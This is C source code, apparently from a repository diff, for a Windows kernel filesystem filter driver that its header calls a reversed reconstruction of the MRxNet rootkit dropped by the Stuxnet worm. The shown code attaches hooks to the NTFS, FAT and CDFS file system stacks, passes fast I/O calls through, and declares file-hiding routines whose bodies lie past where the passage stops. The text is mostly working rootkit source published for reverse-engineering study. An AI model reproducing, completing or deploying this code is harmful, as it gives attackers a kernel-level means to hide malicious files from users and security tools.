Kernel mode
--*/
//Decleration
//------------
#include <ntifs.h>
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT AttachedDevice;
PETHREAD pThreadObj;
}_DEVICE_EXTENSION, *PDEVICE_EXTENSION;
PDEVICE_OBJECT DeviceObject;
//Data:
//-----
extern FAST_IO_DISPATCH g_fastIoDispatch;
extern PDRIVER_OBJECT DriverObject;
/**-------------------------------------------------------------------
SetFastIoDispatch
----------------------------------------------------------------------**/
PFAST_IO_DISPATCH GetNextIODispatch (PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT* nextDeviceObject)
{
if (DeviceObject == 0 || DeviceObject->DeviceExtension == 0)return 0;
*nextDeviceObject = ((PDEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedDevice;
return (*nextDeviceObject)->DriverObject->FastIoDispatch;
}
BOOLEAN FsFilterFastIoCheckIfPossible(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in BOOLEAN Wait,
__in ULONG LockKey,
__in BOOLEAN CheckForReadOperation,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 8 || NextFastIoDispatch->FastIoCheckIfPossible == 0){
return 0;
};
return (NextFastIoDispatch->FastIoCheckIfPossible)(
FileObject,
FileOffset,
Length,
Wait,
LockKey,
CheckForReadOperation,
IoStatus,
nextDeviceObject);
};
BOOLEAN FsFilterFastIoRead(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in BOOLEAN Wait,
__in ULONG LockKey,
__out PVOID Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0xC || NextFastIoDispatch->FastIoRead == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoRead)(
FileObject,
FileOffset,
Length,
Wait,
LockKey,
Buffer,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoWrite(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in BOOLEAN Wait,
__in ULONG LockKey,
__in PVOID Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x10 || NextFastIoDispatch->FastIoWrite == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoWrite)(
FileObject,
FileOffset,
Length,
Wait,
LockKey,
Buffer,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoQueryBasicInfo(
__in PFILE_OBJECT FileObject,
__in BOOLEAN Wait,
__out PFILE_BASIC_INFORMATION Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x14 || NextFastIoDispatch->FastIoQueryBasicInfo == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryBasicInfo)(
FileObject,
Wait,
Buffer,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoQueryStandardInfo(
__in PFILE_OBJECT FileObject,
__in BOOLEAN Wait,
__out PFILE_STANDARD_INFORMATION Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x18 || NextFastIoDispatch->FastIoQueryStandardInfo == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryStandardInfo)(
FileObject,
Wait,
Buffer,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoLock(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in PLARGE_INTEGER Length,
__in PEPROCESS ProcessId,
__in ULONG Key,
__in BOOLEAN FailImmediately,
__in BOOLEAN ExclusiveLock,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x1C || NextFastIoDispatch->FastIoLock == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoLock)(
FileObject,
FileOffset,
Length,
ProcessId,
Key,
FailImmediately,
ExclusiveLock,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoUnlockSingle(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in PLARGE_INTEGER Length,
__in PEPROCESS ProcessId,
__in ULONG Key,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x20 || NextFastIoDispatch->FastIoUnlockSingle == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoUnlockSingle)(
FileObject,
FileOffset,
Length,
ProcessId,
Key,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoUnlockAll(
__in PFILE_OBJECT FileObject,
__in PEPROCESS ProcessId,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x24 || NextFastIoDispatch->FastIoUnlockAll == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoUnlockAll)(
FileObject,
ProcessId,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoUnlockAllByKey(
__in PFILE_OBJECT FileObject,
__in PVOID ProcessId,
__in ULONG Key,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x28 || NextFastIoDispatch->FastIoUnlockAllByKey == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoUnlockAllByKey)(
FileObject,
ProcessId,
Key,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoDeviceControl(
__in PFILE_OBJECT FileObject,
__in BOOLEAN Wait,
__in_opt PVOID InputBuffer,
__in ULONG InputBufferLength,
__out_opt PVOID OutputBuffer,
__in ULONG OutputBufferLength,
__in ULONG IoControlCode,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x2C || NextFastIoDispatch->FastIoDeviceControl == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoDeviceControl)(
FileObject,
Wait,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
IoControlCode,
IoStatus,
nextDeviceObject);
}
VOID FsFilterFastIoDetachDevice(
__in PDEVICE_OBJECT SourceDevice,
__in PDEVICE_OBJECT TargetDevice
)
{
//
// Detach from the file system's volume device object.
//
IoDetachDevice(TargetDevice);
IoDeleteDevice(SourceDevice);
}
BOOLEAN FsFilterFastIoQueryNetworkOpenInfo(
__in PFILE_OBJECT FileObject,
__in BOOLEAN Wait,
__out PFILE_NETWORK_OPEN_INFORMATION Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x3C || NextFastIoDispatch->FastIoQueryNetworkOpenInfo == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryNetworkOpenInfo)(
FileObject,
Wait,
Buffer,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoMdlRead(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in ULONG LockKey,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x44 || NextFastIoDispatch->MdlRead == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlRead)(
FileObject,
FileOffset,
Length,
LockKey,
MdlChain,
IoStatus,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoMdlReadComplete(
__in PFILE_OBJECT FileObject,
__in PMDL MdlChain,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x48 || NextFastIoDispatch->MdlReadComplete == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlReadComplete)(
FileObject,
MdlChain,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoPrepareMdlWrite(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in ULONG LockKey,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x4C || NextFastIoDispatch->PrepareMdlWrite == 0){
return FALSE;
};
return (NextFastIoDispatch->PrepareMdlWrite)(
FileObject,
FileOffset,
Length,
LockKey,
MdlChain,
IoStatus,
nextDeviceObject);
return FALSE;
}
BOOLEAN FsFilterFastIoMdlWriteComplete(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in PMDL MdlChain,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x50 || NextFastIoDispatch->MdlWriteComplete == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlWriteComplete)(
FileObject,
FileOffset,
MdlChain,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoReadCompressed(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in ULONG LockKey,
__out PVOID Buffer,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__out struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
__in ULONG CompressedDataInfoLength,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x54 || NextFastIoDispatch->FastIoReadCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoReadCompressed)(
FileObject,
FileOffset,
Length,
LockKey,
Buffer,
MdlChain,
IoStatus,
CompressedDataInfo,
CompressedDataInfoLength,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoWriteCompressed(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in ULONG Length,
__in ULONG LockKey,
__in PVOID Buffer,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__in struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
__in ULONG CompressedDataInfoLength,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x58 || NextFastIoDispatch->FastIoWriteCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoWriteCompressed)(
FileObject,
FileOffset,
Length,
LockKey,
Buffer,
MdlChain,
IoStatus,
CompressedDataInfo,
CompressedDataInfoLength,
nextDeviceObject );
}
BOOLEAN FsFilterFastIoMdlReadCompleteCompressed(
__in PFILE_OBJECT FileObject,
__in PMDL MdlChain,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x5C || NextFastIoDispatch->MdlReadCompleteCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlReadCompleteCompressed)(
FileObject,
MdlChain,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoMdlWriteCompleteCompressed(
__in PFILE_OBJECT FileObject,
__in PLARGE_INTEGER FileOffset,
__in PMDL MdlChain,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x60 || NextFastIoDispatch->MdlWriteCompleteCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlWriteCompleteCompressed)(
FileObject,
FileOffset,
MdlChain,
nextDeviceObject);
}
BOOLEAN FsFilterFastIoQueryOpen(
__in PIRP Irp,
__out PFILE_NETWORK_OPEN_INFORMATION NetworkInformation,
__in PDEVICE_OBJECT DeviceObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PDEVICE_OBJECT nextDeviceObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x64 || NextFastIoDispatch->FastIoQueryOpen == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryOpen)(
Irp,
NetworkInformation,
nextDeviceObject);
}
VOID SetFastIoDispatch(){
g_fastIoDispatch.SizeOfFastIoDispatch = sizeof(FAST_IO_DISPATCH);
g_fastIoDispatch.FastIoCheckIfPossible = FsFilterFastIoCheckIfPossible;
g_fastIoDispatch.FastIoRead = FsFilterFastIoRead;
g_fastIoDispatch.FastIoWrite = FsFilterFastIoWrite;
g_fastIoDispatch.FastIoQueryBasicInfo = FsFilterFastIoQueryBasicInfo;
g_fastIoDispatch.FastIoQueryStandardInfo = FsFilterFastIoQueryStandardInfo;
g_fastIoDispatch.FastIoLock = FsFilterFastIoLock;
g_fastIoDispatch.FastIoUnlockSingle = FsFilterFastIoUnlockSingle;
g_fastIoDispatch.FastIoUnlockAll = FsFilterFastIoUnlockAll;
g_fastIoDispatch.FastIoUnlockAllByKey = FsFilterFastIoUnlockAllByKey;
g_fastIoDispatch.FastIoDeviceControl = FsFilterFastIoDeviceControl;
g_fastIoDispatch.FastIoDetachDevice = FsFilterFastIoDetachDevice;
g_fastIoDispatch.FastIoQueryNetworkOpenInfo = FsFilterFastIoQueryNetworkOpenInfo;
g_fastIoDispatch.MdlRead = FsFilterFastIoMdlRead;
g_fastIoDispatch.MdlReadComplete = FsFilterFastIoMdlReadComplete;
g_fastIoDispatch.PrepareMdlWrite = FsFilterFastIoPrepareMdlWrite;
g_fastIoDispatch.MdlWriteComplete = FsFilterFastIoMdlWriteComplete;
g_fastIoDispatch.FastIoReadCompressed = FsFilterFastIoReadCompressed;
g_fastIoDispatch.FastIoWriteCompressed = FsFilterFastIoWriteCompressed;
g_fastIoDispatch.MdlReadCompleteCompressed = FsFilterFastIoMdlReadCompleteCompressed;
g_fastIoDispatch.MdlWriteCompleteCompressed = FsFilterFastIoMdlWriteCompleteCompressed;
g_fastIoDispatch.FastIoQueryOpen = FsFilterFastIoQueryOpen;
DriverObject->FastIoDispatch = &g_fastIoDispatch;
};

15
Rootkit/LICENSE Normal file
View File

@@ -0,0 +1,15 @@
Copyright (C) 2010-2011 Amr Thabet <amr.thabet@student.alx.edu.eg>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to Amr Thabet
amr.thabet@student.alx.edu.eg

699
Rootkit/main.c Normal file
View File

@@ -0,0 +1,699 @@
/*++
Copyright (C) 2010-2011 Amr Thabet <amr.thabet[at]student.alx.edu.eg>
Module Name:
mrxnet.c
Abstract:
This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm.
Licence:
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to Amr Thabet
amr.thabet@student.alx.edu.eg
Environment:
Kernel mode
--*/
//Decleration
//------------
#include <ntifs.h>
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT AttachedDevice;
PDEVICE_OBJECT RealDevice; //Used in File System Control
}_DEVICE_EXTENSION, *PDEVICE_EXTENSION;
extern POBJECT_TYPE* IoDriverObjectType;
typedef struct
{
ULONG Object;
PDEVICE_OBJECT DeviceObject;
}ReferencedObject;
//Data:
//-----
FAST_IO_DISPATCH g_fastIoDispatch;
PDRIVER_OBJECT DriverObject;
PDEVICE_OBJECT DeviceObject;
PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName";
PCWSTR FileSystemsArray[3] = {
L"\\FileSystem\\ntfs",
L"\\FileSystem\\fastfat",
L"\\FileSystem\\cdfs",
};
PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5f-9430-1A310CE4BE0A}";
PCWSTR DebugMSG = L"b:\\myrtus\\src\\objfre_w2k_x86\\i386\\guava.pdb";
//ProtoTyping:
//------------
#define FUNC NTSTATUS (*ObReferenceObjectByNameFunc)(PUNICODE_STRING ObjectName,\
ULONG Attributes,\
PACCESS_STATE AccessState,\
ACCESS_MASK DesiredAccess,\
POBJECT_TYPE ObjectType,\
KPROCESSOR_MODE AccessMode,\
PVOID ParseContext OPTIONAL,\
PVOID* Object)
VOID SetFastIoDispatch();
NTSTATUS HookingFileSystems();
VOID HookOne(FUNC,PCWSTR FileSystem);
VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command);
VOID AttachDevice(PDEVICE_OBJECT TargetDevice);
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice);
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice);
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice);
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension);
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp);
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp);
NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
VOID FreeMdl(PIRP Irp,PMDL* Context);
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack);
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext);
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context);
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength);
ULONG FileCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength);
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size);
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart);
//Functions:
//----------
VOID CallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24);
IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
};
VOID IRPDispatchRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
return CallDriver(DeviceObject,Irp);
}
VOID SetZero(PDEVICE_EXTENSION DeviceExtention,ULONG Value){
DeviceExtention->AttachedDevice=(PDEVICE_OBJECT)0;
DeviceExtention->RealDevice=(PDEVICE_OBJECT)0;
DeviceExtention->RealDevice=(PDEVICE_OBJECT)Value;
};
/**-------------------------------------------------------------------
Driver Entry
----------------------------------------------------------------------**/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )
{
int i;
NTSTATUS status;
DriverObject=pDriverObject;
status=IoCreateDevice(DriverObject, sizeof(_DEVICE_EXTENSION),0,FILE_DEVICE_DISK_FILE_SYSTEM,0x100,0,&DeviceObject);
if (status!=STATUS_SUCCESS){
IoDeleteDevice(DeviceObject);
return 0;
}
SetZero(DeviceObject->DeviceExtension,0);
for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
{
DriverObject->MajorFunction[i] = IRPDispatchRoutine;
}
DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = OnFileSystemControl;
DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = OnDirectoryControl;
SetFastIoDispatch();
HookingFileSystems();
status = IoRegisterFsRegistrationChange( DriverObject, (PDRIVER_FS_NOTIFICATION)DriverNotificationRoutine);
if (status!=STATUS_SUCCESS){
IoDeleteDevice(DeviceObject);
DriverObject->FastIoDispatch = 0;
return status; //Error
}
return STATUS_SUCCESS;
};
/**-------------------------------------------------------------------
Hooking File Systems
----------------------------------------------------------------------**/
NTSTATUS HookingFileSystems()
{
UNICODE_STRING SystemRoutineName;
int i;
ULONG (*FunctionAddress)();
RtlInitUnicodeString(&SystemRoutineName,aObreferenceobjectbyname);
FunctionAddress = MmGetSystemRoutineAddress(&SystemRoutineName);
if (FunctionAddress == 0)return 0;
for (i = 0; i < 3;i++){
HookOne(FunctionAddress,FileSystemsArray[i]);
};
return STATUS_SUCCESS;
}
VOID HookOne(FUNC,PCWSTR FileSystem)
{
UNICODE_STRING DestinationString;
NTSTATUS Status;
PDEVICE_OBJECT AttachObject;
Status = STATUS_SUCCESS;
RtlInitUnicodeString(&DestinationString,FileSystem);
Status = (*ObReferenceObjectByNameFunc)(&DestinationString,0x40,0,0,*IoDriverObjectType,0,0,(PVOID)&FileSystem);
if (Status!=STATUS_SUCCESS){
return;
};
AttachObject=0;
AttachObject =((ReferencedObject*)FileSystem)->DeviceObject;
while (AttachObject != 0)
{
DriverNotificationRoutine(AttachObject,1);
AttachObject = (PDEVICE_OBJECT)*((int*)((ULONG)AttachObject + (ULONG)0x0C)); //Next Element
};
ObDereferenceObject(((ReferencedObject*)FileSystem));
};
/**-------------------------------------------------------------------
Driver Notification Routine
----------------------------------------------------------------------**/
#define COMMAND_ATTACH 1
#define COMMAND_DETACH 0
VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command)
{
PDEVICE_OBJECT AttachedDevice;
if (command == COMMAND_ATTACH){
AttachDevice(TargetDevice);
}else{
AttachedDevice=TargetDevice->AttachedDevice;
while(AttachedDevice !=0){
if (IsMyDevice(AttachedDevice) == TRUE){
IoDetachDevice(TargetDevice);
IoDeleteDevice(AttachedDevice);
break;
};
TargetDevice=AttachedDevice; //The parent Device (to detach)
AttachedDevice=TargetDevice->AttachedDevice; //Get The Next Attached Device
};
};
};
/**-------------------------------------------------------------------
Attaching Device
----------------------------------------------------------------------**/
VOID AttachDevice(PDEVICE_OBJECT TargetDevice)
{
PDEVICE_OBJECT SourceDevice;
if (TargetDevice->DeviceType == FILE_DEVICE_DISK_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_CD_ROM_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_NETWORK_FILE_SYSTEM)
{
if (IsAllreadyAttached(TargetDevice) == TRUE) return;
if (CreateDevice(TargetDevice,&SourceDevice) != STATUS_SUCCESS)return;
SettingFlags(SourceDevice,TargetDevice);
SetZero(SourceDevice->DeviceExtension,0);
if (AttachToStack(SourceDevice,TargetDevice,SourceDevice->DeviceExtension)!= TRUE){
IoDeleteDevice(SourceDevice);
return;
};
};
};
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice)
{
PDEVICE_OBJECT AttachedDevice;
if(TargetDevice != 0){
AttachedDevice=TargetDevice->AttachedDevice;
while(AttachedDevice !=0){
if (AttachedDevice->DriverObject == DriverObject && AttachedDevice->DeviceExtension !=0){
return TRUE; //Allready Attached
};
AttachedDevice=AttachedDevice->AttachedDevice; //Get The Next Attached Device
};
}
return FALSE;
}
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice)
{
return IoCreateDevice(DriverObject,sizeof(_DEVICE_EXTENSION),0,TargetDevice->DeviceType,0,0,SourceDevice);
}
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice)
{
if (TargetDevice != 0 && TargetDevice->DriverObject == DriverObject){
return TRUE; //Allready Attached
};
return FALSE;
};
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice)
{
DeviceObject->Flags |= (TargetDevice->Flags & (0x40000 | 0x10 | DO_BUFFERED_IO));
DeviceObject->Characteristics |= (TargetDevice->Characteristics & FILE_DEVICE_SECURE_OPEN);
};
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension)
{
DeviceExtension->AttachedDevice = TargetDevice;
if (IoAttachDeviceToDeviceStack(SourceDevice,TargetDevice) == STATUS_SUCCESS){
return TRUE;
};
return FALSE;
}
/**-------------------------------------------------------------------
File System Control
